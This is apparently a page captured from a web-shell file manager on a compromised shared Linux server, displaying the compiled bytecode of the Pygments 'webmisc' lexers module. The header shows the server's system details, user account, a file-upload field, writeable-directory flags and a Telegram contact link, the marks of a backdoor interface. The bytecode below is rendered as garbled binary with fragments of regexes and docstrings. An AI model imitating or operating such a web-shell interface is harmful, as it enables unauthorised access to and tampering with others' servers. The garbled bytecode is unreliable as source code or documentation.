https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/pygments/lexers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/pygments/lexers/__pycache__/webmisc.cpython-310.pyc
o

���aF��@s�dZddlZddlmZmZmZmZmZmZddl	m
Z
mZmZm
Z
mZmZmZmZmZmZddlmZmZddlmZddlmZddlmZgd	�ZGd
d�de�ZGdd
�d
e�ZGdd�de�Z Gdd�de�Z!Gdd�de�Z"dS)z�
    pygments.lexers.webmisc
    ~~~~~~~~~~~~~~~~~~~~~~~

    Lexers for misc. web stuff.

    :copyright: Copyright 2006-2021 by the Pygments team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�N)�
RegexLexer�ExtendedRegexLexer�include�bygroups�default�using)
�Text�Comment�Operator�Keyword�Name�String�Number�Punctuation�Literal�
Whitespace)�_indentation�
_starts_block)�	HtmlLexer)�JavascriptLexer)�	RubyLexer)�	DuelLexer�	SlimLexer�XQueryLexer�QmlLexer�
CirruLexerc
@s�eZdZdZdZgd�ZddgZddgZej	Z
dd	eej
ee�ej
�fd
eej
ejeeej
�fdeej
ejej
�fdeee�ee�ee��fd
ee�fdee�fgiZdS)rz�
    Lexer for Duel Views Engine (formerly JBST) markup with JavaScript code blocks.
    See http://duelengine.org/.
    See http://jsonml.org/jbst/.

    .. versionadded:: 1.4
    �Duel)�duel�jbstz
jsonml+bstz*.duelz*.jbstztext/x-duelztext/x-jbst�rootz(<%[@=#!:]?)(.*?)(%>)z(<%\$)(.*?)(:)(.*?)(%>)z(<%--)(.*?)(--%>)z(<script.*?>)(.*?)(</script>)z
(.+?)(?=<)z.+N)�__name__�
__module__�__qualname__�__doc__�name�aliases�	filenames�	mimetypes�re�DOTALL�flagsrr�Tagrr�Functionrr
r	�	Multiliner�tokens�r/r/�9/usr/lib/python3/dist-packages/pygments/lexers/webmisc.pyrs4�����

��rc@s�eZdZdZdZgd�Zgd�ZddgZgZdZ	de	d	Z
d
e	e
fZdZded	Z
dee
fZd
eefZeZdeefZdZdZdededZdededZdZdZdZejejBejBZdd�Zdd�Zdd�Z dd �Z!d!d"�Z"d#d$�Z#d%d&�Z$d'd(�Z%d)d*�Z&d+d,�Z'd-d.�Z(d/d0�Z)d1d2�Z*d3d4�Z+d5d6�Z,d7d8�Z-d9d:�Z.d;d<�Z/d=d>�Z0d?d@�Z1dAdB�Z2dCdD�Z3dEdF�Z4dGdH�Z5dIdJ�Z6dKdL�Z7dMdN�Z8dOdP�Z9dQdR�Z:idSdTe;fdUe;dVfdWe;dXfdYe;fg�dZd[e<fg�d\ge=dZ��d]e#f�dUe;dSf�d^e8f�d_e>d`f�dae>d`f�dbe>d`f�dce>d`f�dde?j@d`f�dee?j@d`f�dfe>d`f�dgef�dhef�dieAe>eBe>�djf�dkeAe>eBe>�dlf�dmeAe>eBe>�dlf�dnedoeAe>eBeCjD�dlf�dnedoeAe>eBeCjE�dlf�dpe>dlf�dqeAeFeBe>�dlf�dreGjHdsf�dteAe>eBeGjH�dsf�dueAe>eBe>eBe>eBeGjH�dsf�dveFf�dweAe>eBe>�f�dxe>dVf�dyeAe>eBe>�f�dze>f�d{e>d`f�d|eAe>eBe>�d`f�d}e>d~f�de>d`f�d�e?f�eeCjDf�eeCjEf�d�eAe>eB�d`f��d~eeCjDdXfeeCjEdXfg�d�e=dZ�dUe;dSfd�edoeAe>eBeCjD�fd�edoeAe>eBeCjE�feeCjDfeeCjEfd�eFfd�e?fd�eFd`feeGjIfg
�d�e=dZ�dUe;dSfeeCjDd�feeCjEd�fd�e>d`fd�e>d�fd�eAe>eBe>�fd�e>fd�eFfg	�d�dUe;dSfeeGjJfd�edoeAeFeCjD�fd�edoeAeFeCjE�fd�edoeAeFeBeCjD�fd�edoeAeFeBeCjE�fd�eFfd�eAeBeGjJ�d�fd�eAeBe>jKeBeGjH�dsfd�eAeBe>jKeB�d`fg
�dsdUe;dSfd�ed�eAeGeF�d\fg�dje=dZ�dUe;dSfed�eGjHd\feeGjHd\fg�dle=dZ�dUe;dSfdreGjHdsfd�eAe>eBeFeBeF�d\fd�e4fd�eAe>eBeF�d�fd�eAe>eBeFeBeF�d�fd�eAeFeB�d�fd�eFdXfd�e>dXfd�edoeAe>eBeCjD�d�fd�edoeAe>eBeCjE�d�fd�e>d`fd�e?j@d`fd�e?d`fd�e>d`fd�eAe>eBe>eBe>�d`fd�eAe>eBe>�djfd�eAe>eBe>�fd�eAe>eBe>�fdnedoeAe>eBeCjD�dlfdnedoeAe>eBeCjE�dlfd�e>dlfdqeAe?eBe>�dlfed�e>jLd\fd�eAe>jLeF�fee>jLd�fg�d�dUe;dSfd�eFd`fd�e"fd�eGd�feeGd�fd�e1fg�d�dUe;dSfd�eFdXfeeGjHfeeCjDfeeCjEfg�d�dUe;dSfd�e#fd�eFfd^e6fd�eFfg�d�d�e!fd�eMfd�eMfg�d�d[eBd�fd�eCjNdXfeeGfg�d�d�eCjNdXfd�eMfg�d�d�eCjNdXfd�eMfg�id�e=dZ�d�e fd�eGjOd�fd�eFd�fd�eFd�fd�e?feeGjOfg�d�d�eFd�fd^e8fd�eGjPfeeGjPfeeGjPfeeGjPfd�eGjPfg�d�d�eFd�fd�eFd`fd�eGjPfeeGjPfeeGjPfeeGjPfd�eGjPfg�d�d�eGjOd�fd^e8fd�e/fd�e,fd�e-fd�e$feeMfeeMfeeMfd�eMfg
�d�e=dZ�d�e feeGjOfg�d�e=dZ�dUe;dSfd�e>dXfg�d�dUe;dSfe=dZ�d�e>dXfg�d�e=dZ�dUe;dSfeeCjDfeeCjEfd�e>fd�eFdXfg�d�eeGjHd�fg�d�d�eFd\fd�eMfd�eBfg�d�e=dZ�dUe;dSfd�e?d\fd�e?d`feQd\�g�d�e=dZ�eeGjHdXfg�d�e=dZ�d^e6fd�eFd`fg�d�eeGjHd`fg�d�eeGjHd`fg�d`ge=dZ��dUe;dSf�d�eRjSd\f�d�eRjSd\f�d�eRjSd\f�d�eRjTd\f�d�eFd\f�d�eAe>jKeBe>jK�d\f�d�eAe>jKeBe>jKeBe>jK�d\f�d�eAe>jKeBe>jKeBe>jK�d\f�ed�eGd\f�d�eeGjOd\f�d�eGjOd\f�eeCjDd\f�eeCjEd\f�d�e#f�d�eAe>jKeBe>jKeBe>jK�f�d�eAe>jKeBe>jK�d�f�d�eAe>jKeBe>jK�d�f�d�eAe>jKeBe>jKeBe>jK�d�f�d�eAe>jUeBe>jU�d�f�d�eAe>jKeBe>jK�d�f�d�eAe>eBeGjH�dsf�dueAe>eBe>eBe>eBeGjH�dsf�dreGjHdsf�d�eAe>jKeBe>jKeBeGjH�dsf�d�eAe>jKeBeGjJ�d�f�d�eAe?eBe>�dlf�d�e3f�d�e2f�d�e0f�d�e+f�d�e.f�d�e5f�d�eAe>jKeBe>jK�d�f�d�e*f�d�e)f�d�eAe>eBeF�f�d�eAe>eBeF�f�d�e7f�d�e7f�d�edoeAe>eB�d�f�d�edoeAe>eB�d�f�d�ed�eAe>eBeGjHeBeF�d\f�d�eAe>jKeBe>jK�f��de6f��de'f��de(f��deAe>jKeBe>jK�d�f��deAe>jUeBe>jU�d�f��deAeFeB�d�f��de>f��deAe>jKeBe>jK�d�f�d�edoeCjDd�f�d�edoeCjEd�f��deAe>eF�f��d	eAe>eF�f��d
eAe>eBeF�f�d�e>f��deAe>eBe>�f�de>f��deAe>eB�d`f��d
eAe>eBeFeGjH�dsf��dedoeGjPd\f��dedoeGjPd\f��deeGjPd\f��deGjPd\f��deGjPd\f��deFf�e�deGjOd�f�e�deGjVd�f�d�e�deAeGjVe>jLeRjT�f�eeGjOd\f���ZW�dS(rz�
    An XQuery lexer, parsing a stream and outputting the tokens needed to
    highlight xquery code.

    .. versionadded:: 1.4
    �XQuery)�xquery�xqy�xq�xql�xqm)z*.xqyz*.xqueryz*.xqz*.xqlz*.xqmztext/xqueryzapplication/xqueryz(?:[A-Z]|_|[a-z])z(?:z|-|\.|[0-9])z
(?:%s+%s*)z(?:[A-KN-WYZ]|_|:|[a-kn-wyz])z%s+%s*z%s:%sz	(?:%s|%s)z"(?:&(?:lt|gt|amp|quot|apos|nbsp);)z(?:&#[0-9]+;|&#x[0-9a-fA-F]+;)z(?:"(?:�|z
|""|[^&"])*")z(?:'(?:z
|''|[^&'])*')z1[A-Za-z]|\s|\d|[!"#$%()*+,\-./:;=?@\[\\\]^_\'`|~]z0[A-Za-z]|\s|\d|[!#$%()*+,\-./:;=?@\[\\\]^_\'`|~]z/[A-Za-z]|\s|\d|[!"#$%()*+,\-./:;=?@\[\\\]^_`|~]cc�.�|��t|�d�fVdg|_|��|_dS�N�r)�startr�group�stack�end�pos��lexer�match�ctxr/r/r0�punctuation_root_callbackt��z%XQueryLexer.punctuation_root_callbackccr8r9)r;r
r<r=r>r?r@r/r/r0�operator_root_callbackzrEz"XQueryLexer.operator_root_callbackccs@�|��tj|�d�fV|jr|j�|j���|��|_	dS�Nr:)
r;rr+r<�xquery_parse_stater=�append�popr>r?r@r/r/r0�popstate_tag_callback�s
�z!XQueryLexer.popstate_tag_callbackccs:�|��tj|�d�fV|j�|j���|��|_	dSrG)
r;r
�Docr<r=rIrHrJr>r?r@r/r/r0�popstate_xmlcomment_callback�s�z(XQueryLexer.popstate_xmlcomment_callbackccs��|��t|�d�fV|j��}|dkrDt�d|�d��r6|��t|�d�fV|j�d�|�	�|_
dS|j�d�|�	d�|_
dS|j�|�|�	d�|_
dS)Nr:�occurrenceindicatorz[?*+]+��operator)r;rr<rHrJr(rBr=rIr>r?)rArBrC�
next_stater/r/r0�popstate_kindtest_callback�s�
z&XQueryLexer.popstate_kindtest_callbackccsx�|��t|�d�fVt|j�dkr |j��|jsdg|_nt|j�dkr1|j�|j���ndg|_|��|_	dS)Nr:rr)
r;rr<�lenrHr=rJrIr>r?r@r/r/r0�popstate_callback�s�
�zXQueryLexer.popstate_callbackcc�@�|��tj|�d�fV|j�d�|j�d�|��|_dS)Nr:�element_content�	start_tag�	r;rr+r<rHrIr=r>r?r@r/r/r0�+pushstate_element_content_starttag_callback��
�z7XQueryLexer.pushstate_element_content_starttag_callbackccsD�|��tj|�d�fV|j�d�|j�|jj�|�	�|_
dS)Nr:�
cdata_section)r;r
rLr<r=rIrH�staterJr>r?r@r/r/r0� pushstate_cdata_section_callback�s
�z,XQueryLexer.pushstate_cdata_section_callbackccsD�|��tj|�d�fV|j�|jj�|j�d�|�	�|_
dS)Nr:rW)r;rr+r<rHrIr\rJr=r>r?r@r/r/r0�pushstate_starttag_callback�s
�z'XQueryLexer.pushstate_starttag_callbackcc�f�|��t|�d�fV|��t|�d�fV|��t|�d�fVdg|_|j�d�|��|_	dS�Nr:rO�rrP�
r;rr<rrr=rHrIr>r?r@r/r/r0�!pushstate_operator_order_callback���z-XQueryLexer.pushstate_operator_order_callbackccr_r`rbr@r/r/r0�pushstate_operator_map_callback�rdz+XQueryLexer.pushstate_operator_map_callbackccr_r`rbr@r/r/r0� pushstate_operator_root_validate�rdz,XQueryLexer.pushstate_operator_root_validateccsf�|��t|�d�fV|��t|�d�fV|��t|�d�fVdg|_|j�d�|��|_dSr`)	r;rr<rr=rHrIr>r?r@r/r/r0�)pushstate_operator_root_validate_withmode�rdz5XQueryLexer.pushstate_operator_root_validate_withmodecc�@�|��tj|�d�fV|j�d�|j�d�|��|_dS)Nr:�processing_instructionrP�	r;r
rLr<r=rIrHr>r?r@r/r/r0�2pushstate_operator_processing_instruction_callback�rZz>XQueryLexer.pushstate_operator_processing_instruction_callbackccrh)Nr:rirVrjr@r/r/r0�9pushstate_element_content_processing_instruction_callback�rZzEXQueryLexer.pushstate_element_content_processing_instruction_callbackccrh)Nr:r[rVrjr@r/r/r0�0pushstate_element_content_cdata_section_callback�rZz<XQueryLexer.pushstate_element_content_cdata_section_callbackccrh)Nr:r[rPrjr@r/r/r0�)pushstate_operator_cdata_section_callback�rZz5XQueryLexer.pushstate_operator_cdata_section_callbackccrh)Nr:�xml_commentrVrjr@r/r/r0�-pushstate_element_content_xmlcomment_callback�rZz9XQueryLexer.pushstate_element_content_xmlcomment_callbackccrh)Nr:rorPrjr@r/r/r0�&pushstate_operator_xmlcomment_callback�rZz2XQueryLexer.pushstate_operator_xmlcomment_callbackccsj�|��t|�d�fV|��t|�d�fV|��t|�d�fV|j�d�|j�d�|��|_	dS)Nr:rOra�kindtest�
r;rr<rrrHrIr=r>r?r@r/r/r0�pushstate_kindtest_callback��z'XQueryLexer.pushstate_kindtest_callbackcc�j�|��t|�d�fV|��t|�d�fV|��t|�d�fV|j�d�|j�d�|��|_	dS)Nr:rOrarP�
kindtestforpirsr@r/r/r0�)pushstate_operator_kindtestforpi_callbackruz5XQueryLexer.pushstate_operator_kindtestforpi_callbackccrv)Nr:rOrarPrrrsr@r/r/r0�$pushstate_operator_kindtest_callbackruz0XQueryLexer.pushstate_operator_kindtest_callbackccsl�|��tj|�d�fV|��t|�d�fV|��t|�d�fV|j�d�|j�d�|�	�|_
dS)Nr:rOrarNrr)r;rr+r<rrrHrIr=r>r?r@r/r/r0�/pushstate_occurrenceindicator_kindtest_callbacks�z;XQueryLexer.pushstate_occurrenceindicator_kindtest_callbackccrU)Nr:rPrWrXr@r/r/r0�$pushstate_operator_starttag_callback rZz0XQueryLexer.pushstate_operator_starttag_callbackccs:�|��t|�d�fV|j�d�dg|_|��|_dS)Nr:rPr)r;rr<rHrIr=r>r?r@r/r/r0� pushstate_operator_root_callback&s
�z,XQueryLexer.pushstate_operator_root_callbackccsf�|��t|�d�fV|��t|�d�fV|��t|�d�fV|j�d�dg|_|��|_	dS)Nr:rOrarPrrsr@r/r/r0�*pushstate_operator_root_construct_callback,s�z6XQueryLexer.pushstate_operator_root_construct_callbackccsD�|��t|�d�fV|j��}|j�|�dg|_|��|_dSr9)	r;rr<r=rJrHrIr>r?)rArBrC�	cur_stater/r/r0�pushstate_root_callback4s�
z#XQueryLexer.pushstate_root_callbackccs4�|��tj|�d�fV|j�d�|��|_dS)Nr:rP)r;r�	Attributer<r=rIr>r?r@r/r/r0�%pushstate_operator_attribute_callback;s�z1XQueryLexer.pushstate_operator_attribute_callbackccs^�|��t|�d�fV|��t|�d�fV|��t|�d�fV|j�d�|��|_dS)Nr:rOrarP)	r;rr<rrrHrIr>r?r@r/r/r0�pushstate_operator_callback@s�z'XQueryLexer.pushstate_operator_callback�commentz[^:()]+z\(:�#pushz:\)�#popz[:()]�
whitespace�\s+rPz(\})z(\{)z then|else|external|at|div|exceptrzorder byzgroup byz%is|mod|order\s+by|stable\s+order\s+byzand|orz+(eq|ge|gt|le|lt|ne|idiv|intersect|in)(?=\b)z6return|satisfies|to|union|where|count|preserve\s+stripz+(>=|>>|>|<=|<<|<|-|\*|!=|\+|\|\||\||:=|=|!)z(::|:|;|\[|//|/|,)z(castable|cast)(\s+)(as)\b�
singletypez(instance)(\s+)(of)\b�itemtypez(treat)(\s+)(as)\bz(case)(\s+)(�)z(case|as)\bz
(\))(\s*)(as)z\$�varnamez (for|let|previous|next)(\s+)(\$)z2(for)(\s+)(tumbling|sliding)(\s+)(window)(\s+)(\$)z\)|\?|\]z(empty)(\s+)(greatest|least)zascending|descending|defaultz(allowing)(\s+)(empty)�externalz(start|when|end)z(only)(\s+)(end)�	collation�
uritooperatorz(into|following|preceding|with)z\.z(catch)(\s*)�
namespacedeclz
(at)(\s+)(�,�=�;�namespacekeywordzinherit|no-inherit�	namespacez(default)(\s+)(element)zpreserve|no-preserve�annotationnamez(\()(z
(\,)(\s+)(�\)z	(\s+)(\%)z(\s+)(variable)(\s+)(\$)z(\s+)(function)(\s+)�(z)(\()?z(:\*)z(void)(\s*)(\()(\s*)(\))zr(element|attribute|schema-element|schema-attribute|comment|text|node|binary|document-node|empty-sequence)(\s*)(\()z!(processing-instruction)(\s*)(\())rNrwz!(item)(\s*)(\()(\s*)(\))(?=[*+?])rNz(\(\#)(\s*)�pragmaz	then|elsez<except|intersect|in|is|return|satisfies|to|union|where|countz%and|div|eq|ge|gt|le|lt|ne|idiv|mod|orz):=|=|,|>=|>>|>|\[|\(|<=|<<|<|-|!=|\|\||\|zexternal|atz(stable)(\s+)(order)(\s+)(by)z(castable|cast)(\s+)(as)z(treat)(\s+)(as)z(instance)(\s+)(of)zcase|asz:\*z(function|map|array)(\()rrz\{z(\))([*+?]?)z\*�
closekindtestz!(element|schema-element)(\s*)(\()rwz(\))z\?roz(-->)z	[^-]{1,2}z@\t|\r|\n|[\u0020-\uD7FF]|[\uE000-\uFFFD]|[\U00010000-\U0010FFFF]ri�processing_instruction_contentz\?>r[z]]>rWz(/>)�>rV�"�quot_attribute_content�'�apos_attribute_contentz""z	\{\{|\}\}z''z</�end_tagz(<!--)z(<\?)z
(<!\[CDATA\[)z(<)z(>)�
xmlspace_declzpreserve|strip�declareorderingzordered|unordered�
xqueryversion�encoding�pragmacontentsz#\)z(\s+)z\*|\?|\+z:=�option�qname_brarenz(\()�
element_qname�attribute_qnamez\d+(\.\d*)?[eE][+-]?\d+z(\.\d+)[eE][+-]?\d+z(\.\d+|\d+\.\d*)z(\d+)z(\.\.|\.|\))z(declare)(\s+)(construction)z#(declare)(\s+)(default)(\s+)(order)z"(declare)(\s+)(context)(\s+)(item)z\*:z(\}|\])z'(declare)(\s+)(default)(\s+)(collation)z (module|declare)(\s+)(namespace)z(declare)(\s+)(base-uri)z.(declare)(\s+)(default)(\s+)(element|function)z(import)(\s+)(schema|module)z(declare)(\s+)(copy-namespaces)z(for|let|some|every)(\s+)(\$)z!(declare)(\s+)(variable)(\s+)(\$)z(declare)(\s+)(\%)z
(\))(\s+)(as)zk(element|attribute|schema-element|schema-attribute|comment|text|node|document-node|empty-sequence)(\s+)(\()z!(processing-instruction)(\s+)(\()z(declare)(\s+)(boundary-space)z(validate)(\s+)(lax|strict)z(validate)(\s*)(\{)z(typeswitch)(\s*)(\()z(switch)(\s*)(\()z&(element|attribute|namespace)(\s*)(\{)z7(document|text|processing-instruction|comment)(\s*)(\{)z(attribute)(\s+)(?=z(element)(\s+)(?=z((processing-instruction|namespace)(\s+)(z
)(\s*)(\{)z(declare|define)(\s+)(function)z(\{|\[)z(unordered|ordered)(\s*)(\{)z(map|array)(\s*)(\{)z(declare)(\s+)(ordering)z(xquery)(\s+)(version)z
(\(#)(\s*)�returnz(declare)(\s+)(option)zB(ancestor-or-self|ancestor|attribute|child|descendant-or-self)(::)zT(descendant|following-sibling|following|parent|preceding-sibling|preceding|self)(::)z
(if)(\s*)(\()z1(update)(\s*)(insert|delete|replace|value|rename)z
(try)(\s*)z(catch)(\s*)(\()(\$)z(@z@\*:z@\*z(@)z//|/|\+|-|;|,|\(|\)z	(?=\s*\{)z
(?=\s*\([^:])z)(#)([0-9]+)N)Xr r!r"r#r$r%r&r'rH�ncnamestartchar�
ncnamechar�ncname�pitarget_namestartchar�pitarget_namechar�pitarget�prefixedname�unprefixedname�qname�	entityref�charref�stringdouble�stringsingle�elementcontentchar�quotattrcontentchar�aposattrcontentcharr(r)�	MULTILINE�UNICODEr*rDrFrKrMrRrTrYr]r^rcrerfrgrkrlrmrnrprqrtrxryrzr{r|r}rr�r�r	rrrr
�Wordrrr
�Double�Singlerr�Variable�	Namespace�	Decorator�Declaration�TyperrLr+r�rr�Float�Integer�Pseudor,r.r/r/r/r0r;s�	�����������	�

���
������������
��
�����
 �!��#��'�(�)�*�+�,�-�.�1�4�7�8�:��G

��K��W

��b
�
�����r��v
��|
��
��
�
��
��
�
�
��)���1���8���?����E
���J
����O
����T
���]���f���o
���{���������������
�������������#
����'����,
����/
����2��
�
�
�
	�
���
������
�
�
��������"��%��'��+��-��
/�0��4�7�9��=��@�B�D�G�I��L��N�O�P�Q��T��
W
��
Z
��
]��a��d�f��i��l��o��r�u�w��{�|�~���������	��
��
�����������������������
�����rc@seZdZdZdZddgZddgZddgZej	ej
BZd	efd
e
fde
jfde
jfged
�dejdfdedfed�gdedfgdedfed
�dedfdedfdefdejdfdedfdedfdejdfdejfdejfdejfdejfd ejfd!ejfd"ej fd#ej!fd$ejfgd%�Z"d&S)'rzr
    For QML files. See http://doc.qt.digia.com/4.7/qdeclarativeintroduction.html.

    .. versionadded:: 1.6
    �QML�qml�qbsz*.qmlz*.qbszapplication/x-qmlzapplication/x-qt.qbs+qmlr�z<!--z//.*?\nz	/\*.*?\*/�commentsandwhitespacez3/(\\.|[^[/\\\n]|\[(\\.|[^\]\\\n])*])+/([gim]+\b|\B)r�z(?=/))r��badregex�\nz^(?=\s|/|<!--)�slashstartsregexz@\+\+|--|~|&&|\?|:|\|\||\\(?=\n)|(<<|>>>?|==?|!=?|[-<>+*%&|^/])=?z[{(\[;,]z[})\].]z\bid\s*:\s*[A-Za-z][\w.]*z\b[A-Za-z][\w.]*\s*:z�(for|in|while|do|break|return|continue|switch|case|default|if|else|throw|try|catch|finally|new|delete|typeof|instanceof|void|this)\bz(var|let|with|function)\bz�(abstract|boolean|byte|char|class|const|debugger|double|enum|export|extends|final|float|goto|implements|import|int|interface|long|native|package|private|protected|public|short|static|super|synchronized|throws|transient|volatile)\bz*(true|false|null|NaN|Infinity|undefined)\bz�(Array|Boolean|Date|Error|Function|Math|netscape|Number|Object|Packages|RegExp|String|sun|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|Error|eval|isFinite|isNaN|parseFloat|parseInt|document|this|window)\bz
[$a-zA-Z_]\w*z%[0-9][0-9]*\.[0-9]+([eE][0-9]+)?[fd]?z0x[0-9a-fA-F]+z[0-9]+z"(\\\\|\\[^\\]|[^"\\])*"z'(\\\\|\\[^\\]|[^'\\])*')r�r�r�rN)#r r!r"r#r$r%r&r'r(r)r�r*rr	r�r-rr
�Regexrr
rrr��Reserved�Constantr�Builtin�Otherrr��Hexr�r�r.r/r/r/r0rsf	�������
���
�rc@s�eZdZdZdZdgZdgZdgZej	Z
defdejdfd	ed
fgdejd
fgde
d
fd
ejd
fde
d
fded
fde
dfd	edfdejfgde
dfde
dfde
fded
fd	edfdejfdefd
ejfgdejfed�gd�ZdS)ra[
    Syntax rules of Cirru can be found at:
    http://cirru.org/

    * using ``()`` for expressions, but restricted in a same line
    * using ``""`` for strings, with ``\`` for escaping chars
    * using ``$`` as folding operator
    * using ``,`` as unfolding operator
    * using indentations for nested blocks

    .. versionadded:: 2.0
    �Cirru�cirruz*.cirruztext/x-cirruz	[^"\\\n]+z\\�escaper�r��.z\,z	[^\s"()]+r�z(?=\n)z\(r�)r��stringz[ ]+z(?<!\w)\$(?!\w)�functionr�r�z
[+-]?[\d.]+\bz^\n+)�liner�)r�r�r�r�rN)r r!r"r#r$r%r&r'r(r�r*r
�Escaper
rr,rrrr�rr.r/r/r/r0rbsD

�
�
�
��
�rc@s^eZdZdZdZdgZdgZdgZej	Z
dZdefde
fgd	ejd
fdejd
fgdeeee��d
fdejdfed�ged�dedfdeeee��dfdedeed�dfdedeejd�dfdejd
fed�ged�defdedfed�gdefdeejee�ej�fd ed
fgd!efd"ee�d
fd#ee�d
fd$ed
fged%ejfd ed
fgd&�Zd'S)(rz5
    For Slim markup.

    .. versionadded:: 2.0
    �Slim�slimz*.slimztext/x-slimz(?: \|\n(?=.* \|)|.)z[ \t]*\nz[ \t]*z	\.[\w:-]+�tagz	\#[\w:-]+z([ \t]*==?)(.*\n)rz[ \t]+[\w:-]+(?==)�html-attributes�plain�cssz[\w:-]+:[ \t]*\nz	(-)(.*\n)r�z\|z*\n�/�slim-comment-blockz[\w:-]+�
eval-or-plainz[<>]{1,2}(?=[ \t=])z[ \t]+\nz#pop:2z([^#\n]|#[^{\n]|(\\\\)*\\#\{)+z(#\{)(.*?)(\})r�r�z"[^"]+"z
\'[^\']+\'z\w+�+)rr�r��contentr�r�r�r�N)r r!r"r#r$r%r&r'r(�
IGNORECASEr*�_dotrrr�Classr,rrrrr�rrrr	�Preprocr+r
�Interpolr.r/r/r/r0r�sh�

��
�	�
�
�����
�r)#r#r(�pygments.lexerrrrrrr�pygments.tokenrr	r
rrr
rrrr�pygments.lexers.cssrr�pygments.lexers.htmlr�pygments.lexers.javascriptr�pygments.lexers.rubyr�__all__rrrrrr/r/r/r0�<module>s&
 0!cI7

https://t.me/RX1948 - 2025